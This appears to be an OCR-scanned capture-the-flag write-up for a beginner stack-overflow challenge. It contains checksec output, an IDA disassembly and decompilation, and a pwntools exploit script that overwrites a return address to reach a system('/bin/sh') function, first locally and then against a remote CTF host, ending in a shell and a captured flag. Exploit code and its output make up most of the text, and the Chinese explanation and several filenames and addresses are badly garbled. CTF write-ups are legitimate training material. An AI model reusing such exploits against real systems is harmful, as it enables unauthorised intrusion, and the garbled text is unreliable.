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root@mypwn: /ctf/work/python# checksec df928e471d0849faboff@ebedbfe5eal
[*] '/ctf/work/python/df928e471d0849fab9ffoebedbfes5eal’

Arch: amd64-64-1ittle
RELRO: No RELRO

Stack: No canary found
NX: NX enabled

PIE: No PIE (0x400000)

R&FETHEHER , ERIREER =/ EHcallsystem, vulnerable function, main
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IDA - df928e471d0849fab9ffOebedbfe5ea’ /Users/mac126/pwn/python/c
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Library function [l Regular function [l Instruction Data Unexplored External symbol
[7] Functions win.. 0 © @ x Ig  IDA View-A Q@  Hex View-1 oA Structures
- .£ext:0000000000400596
Function name .text:0000000000400596 = SUBROUTINE
.text:0000000000400596
E init_proc .text:0000000000400596 ; Attributes: bp-based frame
- .£ext:0000000000400596
|E| sub_400440 .text:0000000000400596 public callsystem
-text:0000000000400596 callsystem proc near
E write .text:0000000000400596 ; _ unwind {
- .£ext:0000000000400596 push  zbp
E system .text:0000000000400597 mov rbp, rsp
- .text:000000000040059A mov edi, offset command ; "/bin/sh"
E read .text:000000000040059F call _system
- .text:00000000004005A4 pop Tbp
E libc start main .text:00000000004005A5 retn
— - - .£ext:0000000000400585 ; } // starts at 400596 |
|E| __gmon_start__ .text:00000000004005A5 callsystem endp

-text:00000000004005A5
-text:00000000004005A6
.text:00000000004005A6
-text:00000000004005A6
.text:00000000004005A6
-text:00000000004005A6
-text:00000000004005A6
-text:00000000004005A6
-text:00000000004005A6
-text:00000000004005A6
-text:00000000004005A6
.text:00000000004005A6
-text:00000000004005A6
.text:00000000004005A7
-text:00000000004005AA

[F] _start

|E| deregister_tm_clones
[7] register_tm_clones
[#] _do_global_dtors_aux
[#] frame_dummy

[7] callsystem

[#] vulnerable_function

[7] main .text:00000000004005AE
.text:00000000004005B2

[F] _libc_csu_init .£ext:0000000000400587
.£ext:00000000004005BA

[F] _libc_csu_fini .text:00000000004005BF
- T .text:00000000004005C4
[#] _term_proc £ext:00000000004005C5
.text:00000000004005C5

[7] write .text:00000000004005C5
.£ext:00000000004005C5

[7] system .£ext:00000000004005C6
.text:00000000004005C6

[7] read .text:00000000004005C6

-text:00000000004005C6
.text:00000000004005C6
-text:00000000004005C6
.text:00000000004005C6
-text:00000000004005C6
.text:00000000004005C6
-text:00000000004005C6
-text:00000000004005C6
-text:00000000004005C6
-text:00000000004005C6
-text:00000000004005C6
-text:00000000004005C7
.text:00000000004005CA
-text:00000000004005CE
.text:00000000004005D1
-text:00000000004005D5
-text:00000000004005DA
-text:00000000004005DF
-text:00000000004005E4
.text:00000000004005E9
-text:00000000004005EE
.text:00000000004005F3
-text:00000000004005F4
.text:00000000004005F4
-text:00000000004005F4
-text:00000000004005F4

[F] _libc_start_main

=SUBROUTINE

; Attributes: bp-based frame

public vulnerable function
vulnerable_function proc near ; CODE XREF: main+28ip
buf = byte ptr -80h

; __unwind {

push rbp

mov rbp, rsp

add rsp, OFFFFFFFFFFFFFF80h
lea rax, [rbp+buf]

mov edx, 200h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read

leave

retn

; } // starts at 4005A6
vulnerable_ function endp

=SUBROUTINE

; Attributes: bp-based frame

; int _ cdecl main(int argc, const char **argv, const char **envp)
public main

main proc near ; DATA XREF: start+1DTo

var_10

var_ 4

gword ptr -10h
dword ptr -4

; __unwind {

push rbp
mov rbp, rsp
sub rsp, 10h
mov [rbp+var 4], edi
mov [rbp+var_ 10], rsi
mov edx, 0Dh ;n
mov esi, offset aHelloWorld ; "Hello, World\n"
mov edi, 1 H
call _write
mov eax, 0
call vulnerable_ function
leave
retn

; } // starts at 4005C6

main endp

B9 B =4~ R BN CIE F RS-

int callsystem()
{

return system("/bin/sh");

ssize_t vulnerable_function()

{
char buf; // [rsp+@h] [rbp-806h]

return read(@, &buf, 0x200uLL);

int _ cdecl main(int argc, const char **argv,

write(1, "Hello, World\n", ©xDuLL);

const char **envp)

return vulnerable_ function(1LL, "Hello, World\n");
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FEIC 4 ACHS p W 22 systemik £ FH R 46 sl 940059A, 55 #+1 A systemik £t
¥t payloadn T :

payload = 'A'*0x80 + 'A'*8 + p64(0x40059A)

X B OX8ONMARE L buf, 8/NAE FARIE (ERWMERI2MRAMRINFH) , 646K 0x40059A%
vulnerable_functions& 5 [K)iR [l ht, 73k iR 8] Huht £ main ik £+ 1 A vulnerable_functionB& # i F —%184,
X EIRAE 5 RBRA1F EHI0x40059A, AT systemi H

EEPTREFWT:

root@mypwn:/ctf/work/python# chmod +x df928e471d0849faboff@ebedbfeSeal
root@mypwn:/ctf/work/python# ./df928e471d0849faboffeebedbfe5eal

Hello, World

aa

root@mypwn:/ctf/work/python#

& A AT I python I A«

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./df928e471d0849faboff0ebed4bfe5eal’)
# p = remote("111.198.29.45", 41395)

payload = 'A'*0x80 + 'A'*8 + p64(0x40059A)

p.sendlineafter('Hello, World', payload)
p.interactive()

PATERWT:

root@mypwn: /ctf/work/python# python level 0.py
[+] Starting local process './df928e471d0849fab9ffOebedbfe5eal’: pid 155
[*] Switching to interactive mode

$ id

uid=0(root) gid=0(root) groups=0(root)
$

PAT T, KRG KA Hshell, T REZpythonfliA, HEHEMRFABSHILERINT:



root@mypwn:/ctf/work/python# python level 0.py
[+] Opening connection to 111.198.29.45 on port 41395: Done
[*] Switching to interactive mode

$ cat flag
cyberpeace{de119d160b209dca8d21fec7e5071b2d}

PATHLTN, XEBEREEPATCat flag, 3KfEflag.
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